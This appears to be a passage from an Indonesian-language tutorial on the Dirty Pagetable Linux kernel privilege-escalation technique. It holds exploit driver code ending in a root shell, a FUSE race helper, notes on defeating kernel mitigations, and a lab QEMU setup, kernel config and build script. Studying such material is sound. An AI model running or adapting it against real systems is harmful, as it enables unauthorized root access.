/* * dirty_pagetable_exploit.c — Full exploit * Build: gcc -O0 -static -o exploit exploit_main.c -lpthread */ #include "exploit.h" int main(int argc, char **argv) { puts("\n\033[36m" " ____ _ _ ____ _ _ _ _ \n" " | _ \\(_)_ __| |_ _ _ | _ \\| | __ _| |_ ___| |__ | | ___ \n" " | | | | | '__| __| | | | | |_) | | / _`| __/ __| '_ \\| |/ _ \\\n" " | |_| | | | | |_| |_| | | __/| |__| (_| | |_\\__ \\ |_) | | __/\n" " |____/|_|_| \\__|\\__, | |_| |_____\\__,_|\\__|___/_.__/|_|\\___|\n" " |___/ \n" "\033[0m"); printf("[*] Dirty Pagetable LPE — Linux Kernel 6.x\n"); printf("[*] PID: %d, UID: %d\n", getpid(), getuid()); /* Step 1: Setup nama proses untuk scanning nanti */ prctl(PR_SET_NAME, "exploit", 0, 0, 0); /* Step 2: Setup dan alokasi UAF object */ setup_uaf_object(); /* Step 3: Trigger UAF (freed page + dangling ref) */ trigger_uaf(); /* Step 4: PTE spray — reclaim freed page sebagai PTE */ do_pte_spray(); /* Step 5: Identify mana spray region yang kena target page */ int found = identify_victim_pte(); if (!found) { err("PTE identification failed. Trying more spray..."); /* Retry dengan more spray */ do_pte_spray(); found = identify_victim_pte(); if (!found) die("Fatal: cannot identify PTE page"); } ok("Arbitrary physical R/W acquired!"); ok("victim_va = %p", victim_va); /* Step 6: Privilege Escalation */ /* Pilih salah satu strategi: */ /* Strategi A: modprobe_path overwrite */ exploit_modprobe_path(); /* Strategi B: cred overwrite (jika strategi A gagal) */ /* uint64_t task_pa = find_task_struct_pa(getpid()); if (task_pa) { overwrite_creds(task_pa); if (getuid() == 0) { ok("ROOT! Spawning shell..."); system("/bin/bash"); } } */ return 0; }
Variasi Teknik
Dirty Pagetable v1 vs v2
| Aspek | v1 (Original) | v2 (Enhanced) |
|---|---|---|
| PTE Level | PTE (level 1, 4KB pages) | PMD (level 2, 2MB huge pages) |
| Spray Size | 2MB per mmap (PTE range) | 1GB per mmap (PUD range) |
| Coverage | 4KB per PTE control | 2MB per PMD control → faster scan |
| Stealth | Normal, lebih banyak syscall | Fewer mmap() calls, less noise |
| Complexity | Lebih sederhana | Perlu huge page setup (THP) |
Cross-Cache Variant
Pada varian ini, freed page berasal dari SLUB cache berbeda dari page table cache, tapi masih bisa dimanfaatkan karena buddy allocator mengelola physical pages secara terpisah dari SLUB slab.
pipe_buffer dialokasikan dari cache pipe_buffer (ukuran 40 bytes, di dalam kmalloc-64). Namun, page data yang direferensikan oleh pipe_buffer.page adalah 4KB page dari buddy allocator.
Jika kita bisa UAF pada pipe_buffer.page (membuat refcount page = 0 sebelum waktunya), kernel akan free physical page tersebut ke buddy allocator. Kemudian mmap() spray bisa mengambil physical page yang sama untuk digunakan sebagai PTE.
Ini adalah pola yang digunakan oleh exploit CVE-2023-2598 (io_uring fixed buffer → pipe_buffer page UAF → Dirty Pagetable).
FUSE-based UAF
FUSE (Filesystem in Userspace) memungkinkan user-space mengontrol timing operasi filesystem. Ini sangat berguna untuk race condition exploit yang membutuhkan window yang precise antara free dan re-allocation.
/* * FUSE trick: delay kernel path hingga kita siap. * Kernel akan "block" saat operasi FUSE, memberi * kita waktu untuk melakukan PTE spray. * * Flow: * Thread A: buka file di FUSE mount → kernel blocks * Thread B: trigger UAF (race dengan thread A) * Main: FUSE spray PTE, lalu release FUSE request * * Ini meningkatkan reliabilitas secara dramatis. */ #include <fuse_lowlevel.h> static volatile int fuse_ready = 0; static volatile int spray_done = 0; /* FUSE read handler yang sengaja di-pause */ static void fuse_read_handler(fuse_req_t req, fuse_ino_t ino, size_t size, off_t off, struct fuse_file_info *fi) { /* Signal bahwa kernel sedang block di FUSE */ __atomic_store_n(&fuse_ready, 1, __ATOMIC_SEQ_CST); /* Tunggu sampai PTE spray selesai */ while (!__atomic_load_n(&spray_done, __ATOMIC_SEQ_CST)) usleep(100); /* Reply dan lanjutkan */ char buf[4096] = {0}; fuse_reply_buf(req, buf, MIN(size, sizeof(buf))); } void *fuse_thread(void *arg) { /* Setup FUSE mount dan event loop */ struct fuse_lowlevel_ops ops = { .read = fuse_read_handler, }; /* ... mount dan run fuse_session_loop() ... */ return NULL; } void exploit_with_fuse(void) { pthread_t fuse_thr; pthread_create(&fuse_thr, NULL, fuse_thread, NULL); /* Trigger race: buka file di FUSE */ trigger_uaf(); /* Tunggu FUSE signal */ while (!__atomic_load_n(&fuse_ready, __ATOMIC_SEQ_CST)) sched_yield(); /* Sekarang lakukan PTE spray saat kernel sedang block */ do_pte_spray(); /* Release FUSE → kernel lanjutkan */ __atomic_store_n(&spray_done, 1, __ATOMIC_SEQ_CST); pthread_join(fuse_thr, NULL); }
CVE Real-World yang Menggunakan Dirty Pagetable
| CVE | Subsystem | Kernel Ver | Bug Type | Notes |
|---|---|---|---|---|
| CVE-2023-0179 | netfilter/nftables | ≤ 6.2 | Stack OOB write | nft_payload_eval() integer overflow → arbitrary write → PTE corruption |
| CVE-2023-2598 | io_uring | ≤ 6.3 | UAF via fixed buffer | io_uring fixed buffer registration race → pipe_buffer page UAF |
| CVE-2023-32233 | netfilter | ≤ 6.3 | Use-After-Free | nf_tables anonymous set UAF → Dirty Pagetable LPE |
| CVE-2023-3776 | cls_fw (net/sched) | ≤ 6.4 | Use-After-Free | tc flower filter UAF → kernel heap control → PTE spray |
| CVE-2023-4004 | netfilter/nftables | ≤ 6.4 | Use-After-Free | nft_pipapo element removal UAF |
| CVE-2022-27666 | IPsec/esp6 | ≤ 5.17 | Heap OOB write | Precursor; similar PTE technique muncul di wild |
Mitigasi & Bypass Strategies
SMEP/SMAP — Status: Bypassed
SMEP (Supervisor Mode Execution Prevention) dan SMAP (Supervisor Mode Access Prevention) mencegah kernel mengeksekusi / mengakses user-space memory. Dirty Pagetable tidak menggunakan user-space execution sama sekali — ia beroperasi murni melalui manipulasi PTE, sehingga SMEP/SMAP tidak relevan.
KASLR — Status: Tidak Diperlukan untuk Bypass
Karena Dirty Pagetable bekerja di level physical memory, ia tidak perlu mengetahui kernel virtual address untuk membaca/menulis cred atau modprobe_path. Scanning physical memory menemukan target secara langsung tanpa info leak. Namun, untuk strategi cred overwrite yang lebih presisi, KASLR leak tetap membantu.
KCFI/CFI — Status: Tidak Relevan
Control Flow Integrity melindungi indirect function calls. Dirty Pagetable tidak mengalihkan control flow — ia memodifikasi data (cred, modprobe_path). CFI sama sekali tidak melindungi terhadap teknik ini.
Mitigasi yang Efektif
| Mitigasi | Efektivitas | Detail |
|---|---|---|
| CONFIG_RODATA_FULL_DEFAULT_ENABLED | Partial | Membuat kernel .rodata tidak bisa ditulis → modprobe_path terlindungi jika ada di rodata. Tapi cred tetap bisa dioverwrite. |
| CONFIG_RANDOMIZE_MEMORY | Low | Mengacak physmap base → memperlambat scan tapi bisa di-bypass dengan bruteforce |
| Memory Tagging (MTE/arm64) | Partial | Mendeteksi UAF access via tag mismatch. Efektif jika implemented fully. |
| CONFIG_INIT_ON_FREE_DEFAULT_ON | Moderate | Zero-fill freed memory → mungkin merusak PTE spray content. Tidak fully efektif. |
| KFENCE (Kernel Electric Fence) | Detection | Mendeteksi UAF di runtime (sampling-based). Untuk deteksi, bukan prevention. |
| LKDTM / KCSAN | Debug only | Efektif untuk development/debug. Tidak di-enable di production kernel. |
| Lockdown Mode (LOCKDOWN_CONFIDENTIALITY_MAX) | Moderate | Membatasi /proc/self/pagemap untuk non-root. Mempersulit VA→PA translation. |
| Patchable struct page | In progress | Proposal kernel untuk melindungi page table pages dari reclaim sembarangan |
Bypass /proc/self/pagemap Restriction
/* * Jika /proc/self/pagemap tidak tersedia (LOCKDOWN atau SYSCTL), * kita bisa gunakan metode alternatif untuk VA → PA: * * 1. mincore() + timing side channel * 2. Rowhammer probing (baca adjacent physical pages) * 3. perf_event_open() untuk cache timing * 4. Gunakan sprayed PTE content untuk self-identify * * Metode 4 (PTE self-identification) paling reliable: */ void identify_without_pagemap(void) { uint64_t freed_content[PAGE_SIZE/8]; uaf_read_page(freed_content); /* * Tulis pattern UNIK ke setiap page di setiap spray region. * Kemudian scan freed_page_content untuk pattern tersebut. * PTE yang menunjuk ke page dengan pattern tertentu * memberitahu kita spray index mana yang match. */ for (int s = 0; s < spray_count; s++) { uint8_t *base = (uint8_t *)spray_maps[s]; /* Tulis magic pattern unik per spray */ uint64_t magic = 0xDEADBEEF00000000ULL | (uint64_t)s; for (int j = 0; j < PTRS_PER_PTE; j++) { *(uint64_t *)(base + (size_t)j * PAGE_SIZE) = magic | j; } } /* Setelah write pattern, scan PTEs di freed_page untuk signature */ /* (Dengan mmap MAP_POPULATE, PTEs sudah di-populate sebelumnya) */ /* Pattern write di atas tidak mengubah PTE, hanya data page */ /* Kita perlu teknik berbeda tanpa pagemap... */ /* * Alternatif: gunakan mremap() untuk trigger PTE allocasi baru * pada address yang kita tentukan, lalu cek via UAF apakah * freed page berisi PTE untuk address tersebut. */ }
Debugging & Tools
QEMU Setup untuk Development
#!/bin/bash # QEMU Debug VM untuk Dirty Pagetable development # Kernel harus dikompilasi dengan CONFIG_DEBUG_INFO=y # dan CONFIG_KASAN=n (KASAN akan detect UAF sebelum kita) KERNEL="./bzImage" ROOTFS="./rootfs.img" GDB_PORT=1234 qemu-system-x86_64 \ -kernel "${KERNEL}" \ -initrd "${ROOTFS}" \ -m 4G \ -smp 2 \ -cpu host \ -enable-kvm \ -nographic \ -append "console=ttyS0 root=/dev/sda rw \ nokaslr \ nosmap nopti \ noapic \ oops=panic panic=1 \ kpti=off \ init=/init" \ -netdev user,id=net0,hostfwd=tcp::2222-:22 \ -device virtio-net-pci,netdev=net0 \ -drive file="${ROOTFS}",format=raw \ -s -S # -s: GDB server port 1234, -S: wait for GDB # Untuk attach GDB: # gdb vmlinux # (gdb) target remote :1234 # (gdb) hbreak dirty_pagetable_exploit # (gdb) continue
Kernel Config untuk Lab
# ─── Aktifkan untuk reproduce (debug/lab environment) ─── CONFIG_DEBUG_INFO=y CONFIG_DEBUG_KERNEL=y CONFIG_FRAME_POINTER=y CONFIG_KALLSYMS=y CONFIG_KALLSYMS_ALL=y CONFIG_MAGIC_SYSRQ=y # ─── Nonaktifkan (agar exploit berjalan di lab) ────────── CONFIG_RANDOMIZE_BASE=n # KASLR off CONFIG_KASAN=n # KASAN akan detect UAF CONFIG_KFENCE=n # KFENCE akan detect UAF CONFIG_UBSAN=n # UBSAN overhead CONFIG_PAGE_TABLE_ISOLATION=n # KPTI off CONFIG_SLAB_FREELIST_RANDOM=n # Buat heap predictable CONFIG_SLAB_FREELIST_HARDENED=n # ─── Aktifkan subsystem target ─────────────────────────── CONFIG_NF_TABLES=y # Untuk CVE-2023-0179, etc CONFIG_IO_URING=y # Untuk io_uring bugs CONFIG_FUSE_FS=y # Untuk FUSE timing trick CONFIG_USER_NS=y # Untuk unprivileged netns # ─── Untuk debug PTE manipulation ──────────────────────── CONFIG_DEBUG_PAGEALLOC=n # Off: agar freed page tidak di-poison CONFIG_INIT_ON_FREE_DEFAULT_ON=n # Off: agar freed page content preserved
GDB Helper Scripts
""" GDB Python helpers untuk Dirty Pagetable debugging. Load: (gdb) source gdb_helpers.py """ import gdb class WalkPageTable(gdb.Command): """Walk page table for a virtual address. Usage: walk_pt MM_ADDR VA """ def __init__(self): super().__init__("walk_pt", gdb.COMMAND_USER) def invoke(self, arg, from_tty): args = arg.split() mm_addr = int(args[0], 16) va = int(args[1], 16) mm = gdb.Value(mm_addr).cast( gdb.lookup_type('struct mm_struct').pointer()) pgd = mm['pgd'] pgd_i = (va >> 39) & 0x1FF pud_i = (va >> 30) & 0x1FF pmd_i = (va >> 21) & 0x1FF pte_i = (va >> 12) & 0x1FF off = va & 0xFFF print(f"VA = 0x{va:016x}") print(f"PGD[{pgd_i:3d}] = {int(pgd[pgd_i]['pgd']):016x}") # ... (tambahkan walk lebih dalam) WalkPageTable() class FindModprobePath(gdb.Command): """Find modprobe_path address. Usage: find_modprobe """ def __init__(self): super().__init__("find_modprobe", gdb.COMMAND_USER) def invoke(self, arg, from_tty): sym = gdb.lookup_global_symbol("modprobe_path") if sym: addr = sym.value().address print(f"modprobe_path KVA: {int(addr):#018x}") print(f"modprobe_path PA: {int(addr) - 0xffff888000000000:#018x}") print(f"Current value: {sym.value().string()}") else: print("modprobe_path not found in symbols") FindModprobePath()
Compile & Test
CC = gcc CFLAGS = -Wall -Wextra -O0 -g3 -static LDFLAGS = -lpthread -lfuse3 -lmnl -lnftnl TARGET = exploit SRCS = exploit_main.c \ uaf_trigger.c \ pte_spray.c \ privesc.c all: $(TARGET) $(TARGET): $(SRCS) $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) @echo "[+] Build OK: ./exploit" @file ./exploit @ls -lh ./exploit clean: rm -f $(TARGET) # Upload ke VM untuk testing upload: $(TARGET) scp -P 2222 ./exploit user@localhost:/tmp/exploit ssh -p 2222 user@localhost "chmod +x /tmp/exploit && /tmp/exploit" .PHONY: all clean upload
Referensi & Resources
Paper & Blog Posts
-
ptr-yudai (STAR Labs) —
"Dirty Pagetable: A Novel Exploitation Technique For Use-After-Free Bugs in Linux Kernel"
— OffensiveCon 2023
yanglingxi1993.github.io/dirty_pagetable -
chop0 / riptl —
"CVE-2023-2598: io_uring fixed buffer UAF + Dirty Pagetable"
github.com/riptl/cve-2023-2598 -
Notselwyn —
"CVE-2023-32233: Netfilter nf_tables UAF exploit writeup"
github.com/Notselwyn/CVE-2023-32233 -
pqlima —
"CVE-2023-0179: nftables payload eval OOB write"
github.com/TurtleARM/CVE-2023-0179-PoC
Kernel Source References
- arch/x86/include/asm/pgtable_types.h — PTE definitions
- include/linux/mm_types.h — mm_struct, page
- mm/memory.c — page fault handler, PTE management
- kernel/cred.c — struct cred implementation
Tools
- syzkaller — Kernel fuzzer: github.com/google/syzkaller
- pwndbg — GDB plugin untuk kernel debugging: github.com/pwndbg/pwndbg
- gef — GDB Enhanced Features: github.com/hugsy/gef
- Elixir Bootlin — Kernel source browser: elixir.bootlin.com
- libfuse — FUSE userspace library: github.com/libfuse/libfuse